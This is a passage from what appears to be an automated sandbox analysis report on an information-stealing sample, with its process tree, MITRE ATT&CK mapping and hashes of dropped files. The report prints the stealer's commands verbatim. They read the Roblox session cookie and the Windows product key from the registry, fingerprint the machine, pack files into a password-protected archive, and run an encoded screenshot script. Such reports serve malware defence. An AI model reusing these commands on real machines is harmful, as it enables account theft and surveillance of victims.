AAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4088
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\cf1h0ww0\cf1h0ww0.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:448
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFFCC.tmp" "c:\Users\Admin\AppData\Local\Temp\cf1h0ww0\CSC2F89804D90B84980A5D2EFA6A19BB7.TMP"
        6⤵
        
        PID:4112
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3180
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3416
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:208
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4780
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI32442\rar.exe a -r -hp"212212" "C:\Users\Admin\AppData\Local\Temp\iLIrF.zip" *"
    3⤵
    PID:2052
  - - C:\Users\Admin\AppData\Local\Temp\_MEI32442\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI32442\rar.exe a -r -hp"212212" "C:\Users\Admin\AppData\Local\Temp\iLIrF.zip" *
      4⤵
      Executes dropped EXE
      PID:4300
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    PID:3544
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2268
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    PID:208
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      PID:4980
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    PID:4576
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:2212
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    PID:2100
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3716
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    PID:4576
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:4980
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    PID:336
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4388

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4152
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  - Checks processor information in registry
  - Modifies registry class
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4184
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4184.0.74979141\679429740" -parentBuildID 20221007134813 -prefsHandle 1692 -prefMapHandle 1684 -prefsLen 20747 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {7be6efcc-302a-4c28-a113-1fa2a53ef2d5} 4184 "\\.\pipe\gecko-crash-server-pipe.4184" 1780 2aa8c8cde58 gpu
    3⤵
    PID:3824
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4184.1.846536570\587989269" -parentBuildID 20221007134813 -prefsHandle 2100 -prefMapHandle 2096 -prefsLen 20828 -prefMapSize 233444 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9a0b79d8-46af-4337-ae57-3821ced50b08} 4184 "\\.\pipe\gecko-crash-server-pipe.4184" 2136 2aa81572858 socket
    3⤵
    - Checks processor information in registry
    PID:1364
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4184.2.1414260249\998582756" -childID 1 -isForBrowser -prefsHandle 3056 -prefMapHandle 3052 -prefsLen 20931 -prefMapSize 233444 -jsInitHandle 1288 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {56e7bf0e-17f9-46d9-a9b3-38efab68fc04} 4184 "\\.\pipe\gecko-crash-server-pipe.4184" 3068 2aa908a5058 tab
    3⤵
    PID:4136
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4184.3.1375019093\3929438" -childID 2 -isForBrowser -prefsHandle 3604 -prefMapHandle 3600 -prefsLen 26109 -prefMapSize 233444 -jsInitHandle 1288 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {8117d638-e784-408f-801c-a8abf08284e8} 4184 "\\.\pipe\gecko-crash-server-pipe.4184" 3616 2aa8eef0d58 tab
    3⤵
    PID:3496
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4184.4.1614132378\1078513948" -childID 3 -isForBrowser -prefsHandle 4380 -prefMapHandle 4376 -prefsLen 26168 -prefMapSize 233444 -jsInitHandle 1288 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {b5607c07-e6e7-42be-91a8-6e2006ea3a38} 4184 "\\.\pipe\gecko-crash-server-pipe.4184" 4392 2aa9295e958 tab
    3⤵
    PID:1824
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4184.5.1152441696\1824665877" -childID 4 -isForBrowser -prefsHandle 4840 -prefMapHandle 4376 -prefsLen 26168 -prefMapSize 233444 -jsInitHandle 1288 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {57da79b9-98a1-4c83-b1a0-3fea7cbf06a8} 4184 "\\.\pipe\gecko-crash-server-pipe.4184" 4804 2aa8ec4a158 tab
    3⤵
    PID:4040
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4184.6.416325398\1097638095" -childID 5 -isForBrowser -prefsHandle 4976 -prefMapHandle 4980 -prefsLen 26168 -prefMapSize 233444 -jsInitHandle 1288 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {65ff7407-ecdd-4e49-9b91-0212da65e241} 4184 "\\.\pipe\gecko-crash-server-pipe.4184" 4784 2aa8ec4b058 tab
    3⤵
    PID:2684
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4184.7.1658602299\1382033067" -childID 6 -isForBrowser -prefsHandle 5144 -prefMapHandle 5148 -prefsLen 26168 -prefMapSize 233444 -jsInitHandle 1288 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {a4895ed2-a10f-486d-8a66-d7ff2059aab9} 4184 "\\.\pipe\gecko-crash-server-pipe.4184" 5136 2aa8ec4ce58 tab
    3⤵
    PID:2768
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4184.8.583295014\564357108" -childID 7 -isForBrowser -prefsHandle 2824 -prefMapHandle 2820 -prefsLen 26249 -prefMapSize 233444 -jsInitHandle 1288 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {6c7c50fd-4558-472e-98fb-868e0011642a} 4184 "\\.\pipe\gecko-crash-server-pipe.4184" 2832 2aa90dca658 tab
    3⤵
    PID:224
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4184.9.1298239030\14052502" -childID 8 -isForBrowser -prefsHandle 4024 -prefMapHandle 3276 -prefsLen 26424 -prefMapSize 233444 -jsInitHandle 1288 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {1e31cbff-a32a-4521-ab7e-671e35c93063} 4184 "\\.\pipe\gecko-crash-server-pipe.4184" 3436 2aa8ef4c158 tab
    3⤵
    PID:5548
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4184.10.242437635\1500067940" -parentBuildID 20221007134813 -prefsHandle 5984 -prefMapHandle 6012 -prefsLen 26424 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {b5541dbd-24fd-46f3-ab30-19acc1a7de24} 4184 "\\.\pipe\gecko-crash-server-pipe.4184" 6016 2aa93e46058 rdd
    3⤵
    PID:6036
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4184.11.468783190\546985788" -childID 9 -isForBrowser -prefsHandle 4412 -prefMapHandle 5388 -prefsLen 26424 -prefMapSize 233444 -jsInitHandle 1288 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {b6256be8-d8d8-4ab8-8c48-14a766d313d6} 4184 "\\.\pipe\gecko-crash-server-pipe.4184" 10108 2aa93319658 tab
    3⤵
    PID:4000
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4184.12.1278808011\787480028" -childID 10 -isForBrowser -prefsHandle 9244 -prefMapHandle 9296 -prefsLen 26424 -prefMapSize 233444 -jsInitHandle 1288 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {8879e0e8-ae96-46c9-a14e-0e260dfec967} 4184 "\\.\pipe\gecko-crash-server-pipe.4184" 4948 2aa955e5658 tab
    3⤵
    PID:5756
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4184.13.341404815\1538224067" -childID 11 -isForBrowser -prefsHandle 9180 -prefMapHandle 4936 -prefsLen 26424 -prefMapSize 233444 -jsInitHandle 1288 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {8d9ce3ae-f3b7-4b4d-9fdc-32056375db4e} 4184 "\\.\pipe\gecko-crash-server-pipe.4184" 9208 2aa95619958 tab
    3⤵
    PID:5808
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4184.14.712323269\1659959454" -childID 12 -isForBrowser -prefsHandle 9192 -prefMapHandle 9188 -prefsLen 26424 -prefMapSize 233444 -jsInitHandle 1288 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {a6197397-a39d-4f7c-8538-08d326263086} 4184 "\\.\pipe\gecko-crash-server-pipe.4184" 9100 2aa9561a258 tab
    3⤵
    PID:5816

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Privilege Escalation

Defense Evasion

Impair Defenses

T1562

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\41eh5pdr.default-release\settings\main\ms-language-packs\browser\newtab\asrouter.ftl

Filesize
7KB

MD5
c460716b62456449360b23cf5663f275

SHA1
06573a83d88286153066bae7062cc9300e567d92

SHA256
0ec0f16f92d876a9c1140d4c11e2b346a9292984d9a854360e54e99fdcd99cc0

SHA512
476bc3a333aace4c75d9a971ef202d5889561e10d237792ca89f8d379280262ce98cf3d4728460696f8d7ff429a508237764bf4a9ccb59fd615aee07bdcadf30

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI32442\VCRUNTIME140.dll

Filesize
95KB

MD5
f34eb034aa4a9735218686590cba2e8b

SHA1
2bc20acdcb201676b77a66fa7ec6b53fa2644713

SHA256
9d2b40f0395cc5d1b4d5ea17b84970c29971d448c37104676db577586d4ad1b1

SHA512
d27d5e65e8206bd7923cf2a3c4384fec0fc59e8bc29e25f8c03d039f3741c01d1a8c82979d7b88c10b209db31fbbec23909e976b3ee593dc33481f0050a445af

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI32442\_bz2.pyd

Filesize
44KB

MD5
c24b301f99a05305ac06c35f7f50307f

SHA1
0cee6de0ea38a4c8c02bf92644db17e8faa7093b

SHA256
c665f60b1663544facf9a026f5a87c8445558d7794baff56e42e65671d5adc24

SHA512
936d16fea3569a32a9941d58263e951623f4927a853c01ee187364df95cd246b3826e7b8423ac3c265965ee8e491275e908ac9e2d63f3abc5f721add8e20f699

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI32442\_ctypes.pyd

Filesize
55KB

MD5
5c0bda19c6bc2d6d8081b16b2834134e

SHA1
41370acd9cc21165dd1d4aa064588d597a84ebbe

SHA256
5e7192c18ad73daa71efade0149fbcaf734c280a6ee346525ea5d9729036194e

SHA512
b1b45fcbb1e39cb6ba7ac5f6828ee9c54767eabeedca35a79e7ba49fd17ad20588964f28d06a2dcf8b0446e90f1db41d3fca97d1a9612f6cc5eb816bd9dcdf8a

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI32442\_decimal.pyd

Filesize
102KB

MD5
604154d16e9a3020b9ad3b6312f5479c

SHA1
27c874b052d5e7f4182a4ead6b0486e3d0faf4da

SHA256
3c7585e75fa1e8604d8c408f77995b30f90c54a0f2ff5021e14fa7f84e093fb6

SHA512
37ce86fd8165fc51ebe568d7ce4b5ea8c1598114558d9f74a748a07dc62a1cc5d50fe1448dde6496ea13e45631e231221c15a64cebbb18fa96e2f71c61be0db4

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI32442\_hashlib.pyd

Filesize
32KB

MD5
8ba5202e2f3fb1274747aa2ae7c3f7bf

SHA1
8d7dba77a6413338ef84f0c4ddf929b727342c16

SHA256
0541a0028619ab827f961a994667f9a8f1a48c8b315f071242a69d1bd6aeab8b

SHA512
d19322a1aba0da1aa68e24315cdbb10d63a5e3021b364b14974407dc3d25cd23df4ff1875b12339fd4613e0f3da9e5a78f1a0e54ffd8360ed764af20c3ecbb49

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI32442\_lzma.pyd

Filesize
82KB

MD5
215acc93e63fb03742911f785f8de71a

SHA1
d4e3b46db5d4fcdd4f6b6874b060b32a4b676bf9

SHA256
ffdbe11c55010d33867317c0dc2d1bd69f8c07bda0ea0d3841b54d4a04328f63

SHA512
9223a33e8235c566d280a169f52c819a83c3e6fa1f4b8127dde6d4a1b7e940df824ccaf8c0000eac089091fde6ae89f0322fe62e47328f07ea92c7705ace4a72

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI32442\_queue.pyd

Filesize
22KB

MD5
7b9f914d6c0b80c891ff7d5c031598d9

SHA1
ef9015302a668d59ca9eb6ebc106d82f65d6775c

SHA256
7f80508edff0896596993bf38589da38d95bc35fb286f81df361b5bf8c682cae

SHA512
d24c2ff50649fe604b09830fd079a6ad488699bb3c44ea7acb6da3f441172793e6a38a1953524f5570572bd2cf050f5fee71362a82c33f9bb9381ac4bb412d68

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI32442\_socket.pyd

Filesize
39KB

MD5
1f7e5e111207bc4439799ebf115e09ed

SHA1
e8b643f19135c121e77774ef064c14a3a529dca3

SHA256
179ebbe9fd241f89df31d881d9f76358d82cedee1a8fb40215c630f94eb37c04

SHA512
7f8a767b3e17920acfaafd4a7ed19b22862d8df5bdf4b50e0d53dfbf32e9f2a08f5cde97acecb8abf8f10fbbedb46c1d3a0b9eb168d11766246afe9e23ada6fd

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI32442\api-ms-win-core-console-l1-1-0.dll

Filesize
20KB

MD5
39852d24acf76cf0b3a427f46663efdf

SHA1
92b9730c276c6f2a46e583fc815374c823e6098b

SHA256
191e08dea0ad5ac02e7e84669d9fffa5aa67dc696e36077c5fa20d81c80b6a56

SHA512
e6f0898871b769244818d93117fe3cb82cc8f12bb24d6b3406ffcaa2a26f0b5754246b5c739e9cbcf07cb94aabba2fd934e7054607b4086b2f4c5592607e8385

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI32442\api-ms-win-core-datetime-l1-1-0.dll

Filesize
20KB

MD5
b71c18f8966cead654800ff402c6520f

SHA1
a6f658ea85ad754cf571f7b67f3360d5417f94bd

SHA256
a94b80a5111aabefb1309609abdd300bb626d861cd8e0938b9735ab711a43c22

SHA512
17867aaa57542c1cd989ca3000f3d93bbb959eb5a69100c70c694bde10db8f8422d3e86e1a5fc0848677e4343c424013cdf496b8bb685f8875c3330271242369

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI32442\api-ms-win-core-debug-l1-1-0.dll

Filesize
20KB

MD5
a998282826d6091984d7d5f0bf476a31

SHA1
b958281ad7b861e0adcbeb0033932057082ae4fc

SHA256
263e038363527b7bed05110f37f7e5b95f82aab9c0280c9c522cf7bfce10fd7d

SHA512
ba46b6e7649cded62e9c097c29d42a8ea3da52109d285b8ed7aaea9a93c203efcfd856d25cee9bd825c0835b37a1d7a37a8ae55e0e10dc237f0da7013056cf5d

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI32442\api-ms-win-core-errorhandling-l1-1-0.dll

Filesize
20KB

MD5
c148a26d3d9d39777dabe28dc08cee60

SHA1
4f7537ba8cee5ff774f8d7c3fe4174fc512b70d4

SHA256
085968d938ea924827c4740697713674850218a8fe91dd9982e93b0effacc820

SHA512
6689dfb19898f420632295fb9982668919011784278dc6840716c91ca8dcb434057096640a15fab7a93edf722530451da274d02bb344cd429388412ad11a79e0

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI32442\api-ms-win-core-fibers-l1-1-0.dll

Filesize
20KB

MD5
ee3f0d24e7e32e661ac407c60b84b7db

SHA1
09107fb9ace59a1ac3a8b8dbb4ff00b91182929b

SHA256
c86ebc9f48e2db659e80d9c7ad5f29e6b6c850eea58813c041baeff496ae4f18

SHA512
c3fbba7fad4fe03a3a763ad86681655f1bb04d6dd9f64c0083aaa0262ce18f82970365532337825d44ec92b3d79b3212817b25f188537a3771807ad17e7f8d05

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI32442\api-ms-win-core-file-l1-1-0.dll

Filesize
24KB

MD5
e933cdd91fd5725873f57532f262f815

SHA1
e48f6f301a03beb5e57a0727a09e7c28a68e19f3

SHA256
120c3afed9ce2a981c61208757fca0665f43926751ec8d0d13e10ef1096a0d48

SHA512
d1c598f964a98a30c6a4926f6b19f8213884224861c36aba839f5a91acefaa8c0e8b3d7cd555103885520432a343b489044e4ad3a1c33d77cf3fda4493eb48fb

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI32442\api-ms-win-core-file-l1-2-0.dll

Filesize
20KB

MD5
b59d773b0848785a76baba82d3f775fa

SHA1
1b8dcd7f0e2ab0ba9ba302aa4e9c4bfa8da74a82

SHA256
0dc1f695befddb8ee52a308801410f2f1d115fc70668131075c2dbcfa0b6f9a0

SHA512
cbd52ed8a7471187d74367aa03bf097d9eac3e0d6dc64baf835744a09da0b050537ea6092dcb8b1e0365427e7f27315be2145c6f853ef936755ad07ef17d4a26

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI32442\api-ms-win-core-file-l2-1-0.dll

Filesize
20KB

MD5
4c9bf992ae40c7460a029b1046a7fb5e

SHA1
79e13947af1d603c964cce3b225306cadff4058b

SHA256
18655793b4d489f769327e3c8710aced6b763c7873b6a8dc5ae6f28d228647f4

SHA512
c36d455ac79a73758f6090977c204764a88e929e8eaa7ce27a9c9920451c014e84ae98beb447e8345a8fa186b8c668b076c0ed27047a0e23ad2eeaf2cbc3a8d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI32442\api-ms-win-core-handle-l1-1-0.dll

Filesize
20KB

MD5
f90e3b45c7942e3e30ecf1505253b289

SHA1
83beec2358de70268bc2e26ed0a1290aaef93f94

SHA256
7e45a1b997331f4d038f847f205904d6ec703df7a8c5c660435697e318ced8fc

SHA512
676450eb70a5ceae1820a978412ef3df746f14790322122b2de3e18ef013802c27867ad315950fc9b711e66f36628b062e57a7ec44d1ddc06f443655383cdc14

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI32442\api-ms-win-core-heap-l1-1-0.dll

Filesize
20KB

MD5
f2c267153db0182cca23038fc1cbf16a

SHA1
10d701ab952cacbf802615b0b458bc4d1a629042

SHA256
dd1e8c77002685629c5cd569ee17f9aa2bcb2e59d41b76ae5bc751cae26d75bf

SHA512
84f3c587be5a91752eeffd4f8e5ded74877930515fd9f4d48021b0f22a32feb3a4ddb9a0f14748e817f8c648bd307942ec026fc67eea922247499b5f412b4914

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI32442\api-ms-win-core-interlocked-l1-1-0.dll

Filesize
20KB

MD5
5f2e21c4f0be6a9e15c8ddc2ecdd7089

SHA1
1282b65a9b7276679366fe88c55fab442c0cc3a1

SHA256
ea60d03a35ef2c50306dbbd1ad408c714b1548035c615359af5a7ce8c0bd14a8

SHA512
a32c5ed72d4bfda60b2259e5982e42a79040225a4877246f3a645e05bfb8be395555fa22b2f0ed884f5fd82a8021bba85637727544c9adbb3a8c97b80e7a30f2

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI32442\api-ms-win-core-libraryloader-l1-1-0.dll

Filesize
20KB

MD5
7b828554daa24f54275b81dfa54e0c62

SHA1
03fa109c21c0dc2e847117de133a68c6cd891555

SHA256
929298566ba01d1c3e64356a1f8370c1e97f0599f56f823c508cde9ae17f130b

SHA512
1f4f030d4a1cd3f98ba628dee873978b3797a4a7db66615fc484270a2b3fa68f231d9d12142840cfb52d7592c1ae7af6e35ae7a410878774a9fb199d7a647985

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI32442\api-ms-win-core-localization-l1-2-0.dll

Filesize
20KB

MD5
9d8e7a90dd0d54b7ccde435b977ee46d

SHA1
15cd12089c63f4147648856b16193cf014e6764f

SHA256
dc570708327c4c8419d4cced2a162d7ca112a168301134dd1fb5e2040eee45b6

SHA512
339fe195602355bce26a2526613a212271e7f8c7518d591b9e3c795c154d93b29b8c524b2c3678c799d0ea0101eabea918564e49def0b915af0619e975f1c34b

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI32442\api-ms-win-core-memory-l1-1-0.dll

Filesize
20KB

MD5
e56f2d05d147add31d6f89bcd1f008ca

SHA1
dde258c7b42b17363bca53b5554a5e13ea056f80

SHA256
8a4b66cea7b474506fbdbe4c45e78923645f5f0a13f7f4e43449649f50ea38b8

SHA512
9fd1afd32fda24a92af4bb24661f7cf791cc6686b65f13dae97c56a1e83b25f0f2710c77167e6a9a491001877a0712c9a011833bb6026e08ae536744f0b40905

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI32442\api-ms-win-core-namedpipe-l1-1-0.dll

Filesize
20KB

MD5
f08cd348ac935ac60436ac4cb1836203

SHA1
fd0608e704677fd4733296c2577647057541f392

SHA256
e8382a73730c2f7f873b40e2fcc5e1cd4847e7cb42fef3c76bea183af5891d65

SHA512
595e08301a0cbfd4f943ea3555dbce27d37b16c340b6972b054097b889285bbf942cc0314797a714a2e393956075c5dd95a5d2c2d4bde143b5f5387793e7a8de

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI32442\api-ms-win-core-processenvironment-l1-1-0.dll

Filesize
20KB

MD5
88916eed5164cb8884ebba842cd540cc

SHA1
f15674fbfef5b09cc02c924336554c17b715db00

SHA256
9c1afc7cd0b0e0d136d09b65dd082ace136fc306f8f116f3d13956211ec146c8

SHA512
2929c3ab67b364a7caf6c8fe1a42309917a0620f36c5d7194ca8a41ab7703a564ded32a4f9291a4f8fdd7d3a35383715fd8bef10ff603554b95519d109469617

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI32442\api-ms-win-core-processthreads-l1-1-0.dll

Filesize
20KB

MD5
42e99c89e241f21bf2fb20f3ff477eba

SHA1
e3b0012cd6d74f0ac2bf0c34997a87333c895834

SHA256
6e5bd110a2f4dc345b68e9a8fb081783586c8c25f46027c58443ade2d3e1bf01

SHA512
8eed3b21695cccae0dbf2db844efa11ad4957cd7bcd6c8ab7cfd4f0653bbacfd6bedd82ac27c3995f6418ae38ed0b8d46afa0bdfc627c16619aab775c5f8da16

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI32442\api-ms-win-core-processthreads-l1-1-1.dll

Filesize
20KB

MD5
d399c926466f044f183faa723ba59120

SHA1
a9534b4910888d70eefba6fcc3376f2549cb4a05

SHA256
19b018be16afe143fb107ef1dd5b8e6c6cb45966806eb3d31ec09ff0dc2b70d1

SHA512
